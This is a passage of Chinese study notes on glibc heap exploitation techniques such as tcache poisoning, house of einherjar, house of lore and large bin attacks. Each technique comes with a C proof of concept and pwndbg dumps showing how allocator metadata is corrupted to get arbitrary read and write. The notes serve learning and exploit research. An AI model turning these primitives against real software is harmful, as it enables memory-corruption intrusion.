Size: 0x431
Allocated chunk
Addr: 0x405680
Size: 0x430
Allocated chunk | PREV_INUSE
Addr: 0x405ab0
Size: 0x20551
pwndbg> x/20gx 0x405250
0x405250: 0x0000000000000000 0x0000000000000431
0x405260: 0x0000000000000000 0x0000000000020da1
0x405270: 0x0000000000404050 0x0000000000404058
0x405280: 0x0000000000000000 0x0000000000000000
0x405290: 0x0000000000000000 0x0000000000000000
0x4052a0: 0x0000000000000000 0x0000000000000000
0x4052b0: 0x0000000000000000 0x0000000000000000
0x4052c0: 0x0000000000000000 0x0000000000000000
0x4052d0: 0x0000000000000000 0x0000000000000000
0x4052e0: 0x0000000000000000 0x0000000000000000
tcache_poisoning
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
size_t stack_var;
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
free(a);
free(b);
b[0] = (intptr_t)&stack_var;
intptr_t *c = malloc(128);
assert((long)&stack_var == (long)c);
return 0;
}
打fd
实现任意地址读写
创建两个堆再释放掉,进入tcache
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Free chunk (tcache) | PREV_INUSE
Addr: 0x405250
Size: 0x91
fd: 0x00
Free chunk (tcache) | PREV_INUSE
Addr: 0x4052e0
Size: 0x91
fd: 0x405260
Top chunk | PREV_INUSE
Addr: 0x405370
Size: 0x20c91
改第二个堆的fd
为目标地址之后再申请即可实现任意地址读写
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x91
Free chunk (tcache) | PREV_INUSE
Addr: 0x4052e0
Size: 0x91
fd: 0x7fffffffdd70
Top chunk | PREV_INUSE
Addr: 0x405370
Size: 0x20c91
tcache_house_of_spirit
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
malloc(1);
unsigned long long *a;
unsigned long long fake_chunks[10];
fake_chunks[1] = 0x40;
a = &fake_chunks[2];
free(a);
void *b = malloc(0x30);
assert((long)b == (long)&fake_chunks[2]);
}
在栈上伪造一个堆之后释放掉再申请即可申请到伪造的堆,tcache
会判断取出堆之后的下标不能为负数,所以要先创建一个堆
先随便创建一个堆
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x405270
Size: 0x20d91
再在栈上伪造一个堆,主要是伪造size
pwndbg> x/20gx 0x7fffffffdd20
0x7fffffffdd20: 0x000000000000000f 0x0000000000000040
0x7fffffffdd30: 0x00007fffffffdd98 0x00000000000000f0
0x7fffffffdd40: 0x00000000000000c2 0x00000000004013ad
0x7fffffffdd50: 0x00007ffff7de59a0 0x0000000000000000
0x7fffffffdd60: 0x0000000000401360 0x00000000004010f0
0x7fffffffdd70: 0x00007fffffffde60 0x00007fffffffdd30
0x7fffffffdd80: 0x0000000000401360 0x00007ffff7a05b97
0x7fffffffdd90: 0x0000000000000001 0x00007fffffffde68
0x7fffffffdda0: 0x000000010000c000 0x00000000004011d6
0x7fffffffddb0: 0x0000000000000000 0x762a1758ffbc0fb4
释放之后再申请即可申请到这个位置实现任意地址读写
pwndbg> bin
tcachebins
0x40 [ 1]: 0x7fffffffdd30 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
tcache_stashing_unlink_attack
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
setbuf(stdout, NULL);
stack_var[3] = (unsigned long)(&stack_var[2]);
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
free(chunk_lis[1]);
free(chunk_lis[0]);
free(chunk_lis[2]);
malloc(0xa0);
malloc(0x90);
malloc(0x90);
chunk_lis[2][1] = (unsigned long)stack_var;
calloc(1,0x90);
target = malloc(0x90);
assert(target == &stack_var[2]);
return 0;
}
该方法是2.27
或2.29
下用calloc
创建堆时候针对small bin
的攻击
创建9
个大小属于unsorted bin
的堆并全部释放
pwndbg> bin
tcachebins
0xa0 [ 7]: 0x405300 —▸ 0x405760 —▸ 0x4056c0 —▸ 0x405620 —▸ 0x405580 —▸ 0x4054e0 —▸ 0x405440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x405390
smallbins
empty
largebins
empty
创建一个比释放的堆大的堆使得释放的堆进入small bin
pwndbg> bin
tcachebins
0xa0 [ 7]: 0x405300 —▸ 0x405760 —▸ 0x4056c0 —▸ 0x405620 —▸ 0x405580 —▸ 0x4054e0 —▸ 0x405440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcfd30 (main_arena+240) ◂— 0x405390
largebins
empty
接着从tcache
取了两个堆
pwndbg> bin
tcachebins
0xa0 [ 5]: 0x4056c0 —▸ 0x405620 —▸ 0x405580 —▸ 0x4054e0 —▸ 0x405440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcfd30 (main_arena+240) ◂— 0x405390
largebins
empty
将small bin
的最后一个堆fd
改成栈上的地址,即目标地址
pwndbg> bin
tcachebins
0xa0 [ 5]: 0x4056c0 —▸ 0x405620 —▸ 0x405580 —▸ 0x4054e0 —▸ 0x405440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0 [corrupted]
FD: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcfd30 (main_arena+240) ◂— 0x405390
BK: 0x405250 —▸ 0x405390 —▸ 0x7fffffffdcd0 —▸ 0x7fffffffdce0 ◂— 0x0
largebins
empty
由于calloc
不会从tcache
中取堆,所以用calloc
创建一个堆,tcache
中有两个空位,此时small bin
中的堆会进入tcache
,再次用malloc
申请即可得到篡改的栈地址
pwndbg> bin
tcachebins
0xa0 [ 7]: 0x7fffffffdce0 —▸ 0x4053a0 —▸ 0x4056c0 —▸ 0x405620 —▸ 0x405580 —▸ 0x4054e0 —▸ 0x405440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0 [corrupted]
FD: 0x405390 —▸ 0x4056c0 ◂— 0x0
BK: 0x7fffffffdce0 ◂— 0x0
largebins
empty
fastbin_dup_consolidate(double free)
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void main() {
void *ptr[7];
for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);
void* p1 = calloc(1,0x40);
free(p1);
void* p3 = malloc(0x400);
assert(p1 == p3);
free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
}
利用了double free
和calloc
不会从tcache
取堆的原理
填满tcache
再释放一个堆到fast bin
pwndbg> bin
tcachebins
0x50 [ 7]: 0x405850 —▸ 0x405800 —▸ 0x4057b0 —▸ 0x405760 —▸ 0x405710 —▸ 0x4056c0 —▸ 0x405670 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x405890 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
创建一个属于small bin
的堆然后再次释放fast bin
里的堆,此时fast bin
中的堆被和那个大于small bin
的堆合并了
pwndbg> bin
tcachebins
0x50 [ 7]: 0x405850 —▸ 0x405800 —▸ 0x4057b0 —▸ 0x405760 —▸ 0x405710 —▸ 0x4056c0 —▸ 0x405670 ◂— 0x0
0x410 [ 1]: 0x4058a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
申请出合并的堆即可申请到那个大的堆了且它并没有被释放
overlapping_chunks(off-by-one)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
int main(int argc , char* argv[])
{
setbuf(stdout, NULL);
intptr_t *p1,*p2,*p3,*p4;
p1 = malloc(0x500 - 8);
p2 = malloc(0x500 - 8);
p3 = malloc(0x80 - 8);
memset(p1, '1', 0x500 - 8);
memset(p2, '2', 0x500 - 8);
memset(p3, '3', 0x80 - 8);
free(p2);
int evil_chunk_size = 0x581;
int evil_region_size = 0x580 - 8;
*(p2-1) = evil_chunk_size;
p4 = malloc(evil_region_size);
memset(p4, '4', evil_region_size);
memset(p3, '3', 80);
assert(strstr((char *)p4, (char *)p3));
}
申请三个堆(前两个堆大于tcache
),利用第一个堆去修改第二个堆的内容,释放第二个堆进入unsorted bin
之后改第二个堆的size
为第二个堆和第三个堆的大小之和,再去创建这个大小的堆即可利用这个堆去覆写第三个堆而第三个堆仍然存在
先创建三个堆,并释放第二个堆
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x501
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405750
Size: 0x501
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0
Allocated chunk
Addr: 0x405c50
Size: 0x80
Top chunk | PREV_INUSE
Addr: 0x405cd0
Size: 0x20331
改第二个堆的size
位使其覆盖下一个堆,此时已经看到第二个堆包含了第三个堆,再去创建出这个堆即可实现对第三个对的overlap
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x501
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405750
Size: 0x581
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0
Top chunk | PREV_INUSE
Addr: 0x405cd0
Size: 0x20331
poison_null_byte(off-by-null)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
a = (uint8_t*) malloc(0x500);
int real_a_size = malloc_usable_size(a);
b = (uint8_t*) malloc(0xa00);
c = (uint8_t*) malloc(0x500);
barrier = malloc(0x100);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
*(size_t*)(b+0x9f0) = 0xa00;
free(b);
a[real_a_size] = 0;
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
b1 = malloc(0x500);
b2 = malloc(0x480);
memset(b2,'B',0x480);
free(b1);
free(c);
d = malloc(0xc00);
memset(d,'D',0xc00);
assert(strstr(b2, "DDDDDDDDDDDD"));
}
同2.23
,只要堆大小在tcache
之上即可
mmap_overlapping_chunks
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
int main(){
int* ptr1 = malloc(0x10);
long long* top_ptr = malloc(0x100000);
long long* mmap_chunk_2 = malloc(0x100000);
long long* mmap_chunk_3 = malloc(0x100000);
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
free(mmap_chunk_3);
long long* overlapping_chunk = malloc(0x300000);
int distance = mmap_chunk_2 - overlapping_chunk;
overlapping_chunk[distance] = 0x1122334455667788;
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}
同2.23
house_of_einherjar(off-by-null)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
uint8_t* a;
uint8_t* b;
uint8_t* d;
a = (uint8_t*) malloc(0x38);
int real_a_size = malloc_usable_size(a);
size_t fake_chunk[6];
fake_chunk[0] = 0x100;
fake_chunk[1] = 0x100;
fake_chunk[2] = (size_t) fake_chunk;
fake_chunk[3] = (size_t) fake_chunk;
fake_chunk[4] = (size_t) fake_chunk;
fake_chunk[5] = (size_t) fake_chunk;
b = (uint8_t*) malloc(0x4f8);
int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
a[real_a_size] = 0;
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
fake_chunk[1] = fake_size;
free(b);
d = malloc(0x200);
assert((long)d == (long)&fake_chunk[2]);
}
先创建两个堆和一个伪造的堆,第一个堆的大小要是0x?8
用来溢出到下一个堆的size
位实现off-by-null
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x41
Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x501
Top chunk | PREV_INUSE
Addr: 0x405790
Size: 0x20871
pwndbg> x/20gx 0x7fffffffdd10
0x7fffffffdd10: 0x0000000000000100 0x0000000000000100 #prve_size size
0x7fffffffdd20: 0x00007fffffffdd10 0x00007fffffffdd10 #fd bk
0x7fffffffdd30: 0x00007fffffffdd10 0x00007fffffffdd10 #fd_nextsize bknextsize
改第二个堆的inuse
为0
,即表示上一个堆已经释放,再伪造fake_chunk
的大小和第二个堆的size
,绕过prve_size == fd->size
的检查
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x41
Allocated chunk
Addr: 0x405290
Size: 0x500
Top chunk | PREV_INUSE
Addr: 0x405790
Size: 0x20871
pwndbg> x/20gx 0x405290
0x405290: 0xffff800000407580 0x0000000000000500
0x4052a0: 0x0000000000000000 0x0000000000000000
0x4052b0: 0x0000000000000000 0x0000000000000000
0x4052c0: 0x0000000000000000 0x0000000000000000
0x4052d0: 0x0000000000000000 0x0000000000000000
0x4052e0: 0x0000000000000000 0x0000000000000000
0x4052f0: 0x0000000000000000 0x0000000000000000
0x405300: 0x0000000000000000 0x0000000000000000
0x405310: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0x7fffffffdd10
0x7fffffffdd10: 0x0000000000000100 0xffff800000407580
0x7fffffffdd20: 0x00007fffffffdd10 0x00007fffffffdd10
0x7fffffffdd30: 0x00007fffffffdd10 0x00007fffffffdd10
释放掉之后fake_chunk
会和第二个堆合并,再次申请即可得到fake_chunk
的地址
house_of_force(top chunk)
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
intptr_t *p1 = malloc(256);
int real_size = malloc_usable_size(p1);
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
void *new_ptr = malloc(evil_size);
void* ctr_chunk = malloc(100);
strcpy(ctr_chunk, "YEAH!!!");
assert(ctr_chunk == bss_var);
}
同2.23
house_of_lore(small bin)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
void* fake_freelist[7][4];
intptr_t *victim = malloc(0x100);
void *dummies[7];
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);
intptr_t *victim_chunk = victim-2;
for(int i=0; i<6; i++) {
fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];
void *p5 = malloc(1000);
for(int i=0; i<7; i++) free(dummies[i]);
free((void*)victim);
void *p2 = malloc(1200);
victim[1] = (intptr_t)stack_buffer_1;
for(int i=0; i<7; i++) malloc(0x100);
void *p3 = malloc(0x100);
char *p4 = malloc(0x100);
intptr_t sc = (intptr_t)jackpot;
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8);
assert((long)__builtin_return_address(0) == (long)jackpot);
}
和2.23
差不多,就是多了一个从small bin
链表进入tcache
的操作
先填满tcache
并创建一个small bin
,再创建一个堆防止合并
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Free chunk (smallbins) | PREV_INUSE
Addr: 0x405250
Size: 0x111
fd: 0x7ffff7dcfda0
bk: 0x7ffff7dcfda0
Free chunk (tcache)
Addr: 0x405360
Size: 0x110
fd: 0x00
Free chunk (tcache) | PREV_INUSE
Addr: 0x405470
Size: 0x111
fd: 0x405370
Free chunk (tcache) | PREV_INUSE
Addr: 0x405580
Size: 0x111
fd: 0x405480
Free chunk (tcache) | PREV_INUSE
Addr: 0x405690
Size: 0x111
fd: 0x405590
Free chunk (tcache) | PREV_INUSE
Addr: 0x4057a0
Size: 0x111
fd: 0x4056a0
Free chunk (tcache) | PREV_INUSE
Addr: 0x4058b0
Size: 0x111
fd: 0x4057b0
Free chunk (tcache) | PREV_INUSE
Addr: 0x4059c0
Size: 0x111
fd: 0x4058c0
Allocated chunk | PREV_INUSE
Addr: 0x405ad0
Size: 0x3f1
Allocated chunk | PREV_INUSE
Addr: 0x405ec0
Size: 0x4c1
Top chunk | PREV_INUSE
Addr: 0x406380
Size: 0x1fc81
pwndbg> bin
tcachebins
0x110 [ 7]: 0x4059d0 —▸ 0x4058c0 —▸ 0x4057b0 —▸ 0x4056a0 —▸ 0x405590 —▸ 0x405480 —▸ 0x405370 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x110: 0x405250 —▸ 0x7ffff7dcfda0 (main_arena+352) ◂— 0x405250 /* 'PR@' */
largebins
empty
再在栈上创建一个伪造的free list
,将fake_freelist
伪造成每0x20
就链接到下一个地址,最后0x80
不做操作
pwndbg> x/10gx 0x7fffffffdd20
0x7fffffffdd20: 0x0000000000000000 0x0000000000000000
0x7fffffffdd30: 0x0000000000405250 0x00007fffffffdd00
0x7fffffffdd40: 0x00007fffffffdda8 0x00000000000000f0
0x7fffffffdd50: 0x00000000000000c2 0x000000000040190d
0x7fffffffdd60: 0x0000000000405ed0 0x0000000000405ae0
pwndbg> x/10gx 0x7fffffffdd00
0x7fffffffdd00: 0x0000000000000000 0x0000000000000000
0x7fffffffdd10: 0x00007fffffffdd20 0x00007fffffffdc20
0x7fffffffdd20: 0x0000000000000000 0x0000000000000000
0x7fffffffdd30: 0x0000000000405250 0x00007fffffffdd00
0x7fffffffdd40: 0x00007fffffffdda8 0x00000000000000f0
...
改small bin
中的堆的bk
为伪造的free list
地址
pwndbg> bin
tcachebins
0x110 [ 7]: 0x4059d0 —▸ 0x4058c0 —▸ 0x4057b0 —▸ 0x4056a0 —▸ 0x405590 —▸ 0x405480 —▸ 0x405370 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x110 [corrupted]
FD: 0x405250 —▸ 0x7ffff7dcfda0 (main_arena+352) ◂— 0x405250 /* 'PR@' */
BK: 0x405250 —▸ 0x7fffffffdd20 —▸ 0x7fffffffdd00 —▸ 0x7fffffffdc20 —▸ 0x7fffffffdc40 ◂— ...
largebins
empty
清空tcache
再创建一个堆,使得伪造的堆逆向链入tcache
,这样再次申请就可以在tcache
中申请到栈地址了
pwndbg> bin
tcachebins
0x110 [ 7]: 0x7fffffffdcb0 —▸ 0x7fffffffdc90 —▸ 0x7fffffffdc70 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc30 —▸ 0x7fffffffdd10 —▸ 0x7fffffffdd30 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x110 [corrupted]
FD: 0x405250 —▸ 0x7ffff7dcfda0 (main_arena+352) ◂— 0x405250 /* 'PR@' */
BK: 0x7fffffffdcc0 —▸ 0x7fffffffdce0 ◂— 0x0
largebins
empty
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Free chunk (smallbins) | PREV_INUSE
Addr: 0x405250
Size: 0x111
fd: 0x7ffff7dcfda0
bk: 0x7fffffffdd20
Allocated chunk | PREV_INUSE
Addr: 0x405360
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x405470
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x405580
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x405690
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x4057a0
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x4058b0
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x4059c0
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x405ad0
Size: 0x3f1
Allocated chunk | PREV_INUSE
Addr: 0x405ec0
Size: 0x4c1
Top chunk | PREV_INUSE
Addr: 0x406380
Size: 0x1fc81
house_of_mind_fastbin(arena)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>
int main(){
int HEAP_MAX_SIZE = 0x4000000;
int MAX_SIZE = (128*1024) - 0x100;
uint8_t* fake_arena = malloc(0x1000);
uint8_t* target_loc = fake_arena + 0x30;
uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;
fake_arena[0x888] = 0xFF;
fake_arena[0x889] = 0xFF;
fake_arena[0x88a] = 0xFF;
uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
uint64_t* fake_heap_info = (uint64_t*) new_arena_value;
uint64_t* user_mem = malloc(MAX_SIZE);
while((long long)user_mem < new_arena_value){
user_mem = malloc(MAX_SIZE);
}
uint64_t* fastbin_chunk = malloc(0x50);
uint64_t* chunk_ptr = fastbin_chunk - 2;
uint64_t* tcache_chunks[7];
for(int i = 0; i < 7; i++){
tcache_chunks[i] = malloc(0x50);
}
for(int i = 0; i < 7; i++){
free(tcache_chunks[i]);
}
fake_heap_info[0] = (uint64_t) fake_arena;
chunk_ptr[1] = 0x60 | 0x4;
free(fastbin_chunk);
assert(*((unsigned long *) (target_loc)) != 0);
}
通过伪造arena
的HEAP_MAX_SIZE、MAX_SIZE、system_mem
并申请到fast bin
再释放来将一个chunk
的内容为一个很大的值
其中需要绕过一个检查,即申请的内存不能大于system_men
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");
创建一个0x1000
的堆用于伪造arena
,由于没有刷新缓冲流所以有一个多出来的堆
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x411
Allocated chunk | PREV_INUSE
Addr: 0x405660
Size: 0x1011
Top chunk | PREV_INUSE
Addr: 0x406670
Size: 0x1f991
在0x888
的位置设置system_men
大小为0xFFFFFFFF
0x405ef0: 0x0000000000000000 0x0000000000ffffff
以MAX_SIZE
的大小创建堆直至满足user_mem < new_arena_value
的最多数量,由于mmap_threshold=0x20000
所以创建的堆大小为0x1ff00
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x411
Allocated chunk | PREV_INUSE
Addr: 0x405660
Size: 0x1011
Allocated chunk | PREV_INUSE
Addr: 0x406670
Size: 0x1ff11
Allocated chunk | PREV_INUSE
Addr: 0x426580
Size: 0x1ff11
Allocated chunk | PREV_INUSE
Addr: 0x446490
Size: 0x1ff11
Allocated chunk | PREV_INUSE
Addr: 0x4663a0
Size: 0x1ff11
...
填满tcache
创建一个fast bin
,将fake_heap_info
的ar_ptr
给设置成fake_arena
并设置fast bin
的non_main_arena
标志位,再全部释放之后即可根据heap_info
的ar_ptr
找到我们的假chunk并更改chunk的内容达到目的
unsorted_bin_attack
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
volatile unsigned long stack_var=0;
unsigned long *p=malloc(0x410);
malloc(500);
free(p);
p[1]=(unsigned long)(&stack_var-2);
malloc(0x410);
assert(stack_var != 0);
}
同2.23
,大小大于tcache
large_bin_attack
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main()
{
setbuf(stdout, NULL);
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
unsigned long *p1 = malloc(0x420);
malloc(0x20);
unsigned long *p2 = malloc(0x500);
malloc(0x20);
unsigned long *p3 = malloc(0x500);
malloc(0x20);
free(p1);
free(p2);
malloc(0x90);
free(p3);
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
malloc(0x90);
assert(stack_var1 != 0);
assert(stack_var2 != 0);
return 0;
}
利用进入large bin
插入的堆大小大于上一个堆的大小时会将上一个堆的bk
和bk_nextsize
的堆中写入当前堆的地址来实现改栈上地址为堆地址
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
先创建一个属于small bin
的堆和两个属于large bin
的堆,每个堆创建之后都要创建一个堆防止合并
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x431
Allocated chunk | PREV_INUSE
Addr: 0x405680
Size: 0x31
Allocated chunk | PREV_INUSE
Addr: 0x4056b0
Size: 0x511
Allocated chunk | PREV_INUSE
Addr: 0x405bc0
Size: 0x31
Allocated chunk | PREV_INUSE
Addr: 0x405bf0
Size: 0x511
Allocated chunk | PREV_INUSE
Addr: 0x406100
Size: 0x31
Top chunk | PREV_INUSE
Addr: 0x406130
Size: 0x1fed1
释放两个堆,再创建一个小于第一个堆大小的堆,使得第一个堆还在unsorted bin
但第二个堆进入large bin
pwndbg> bin
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x4052f0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x4052f0
smallbins
empty
largebins
0x500: 0x4056b0 —▸ 0x7ffff7dd00d0 (main_arena+1168) ◂— 0x4056b0
释放第三个堆进入unsorted bin
,改第二个堆大小小于第三个堆并改bk
和bk_nextsize
为stack_var1 - 0x10
,stack_var2 - 0x20
,此时``P2 -> bk -> fd = stack_var1_addr P2 -> bk_nextsize -> fd_nextsize = stack_var2_addr`
pwndbg> bin
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405bf0 —▸ 0x4052f0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x405bf0
smallbins
empty
largebins
0x500 [corrupted]
FD: 0x4056b0 ◂— 0x0
BK: 0x4056b0 —▸ 0x7fffffffdd60 —▸ 0x405c00 ◂— 0x0
pwndbg> x/20gx 0x4056b0
0x4056b0: 0x0000000000000000 0x00000000000003f1
0x4056c0: 0x0000000000000000 0x00007fffffffdd60
0x4056d0: 0x0000000000000000 0x00007fffffffdd48
再次创建一个小的堆时第三个堆会进入large bin
,此时会进行上面分析的操作使得第二个堆的bk
和bk_nextsize
中的栈地址的内容变成第三个堆地址
house_of_storm(largebin + unsortedbin)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char filler[0x60];
char target[0x60];
void init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
int get_shift_amount(char* pointer){
int shift_amount = 0;
long long ptr = (long long)pointer;
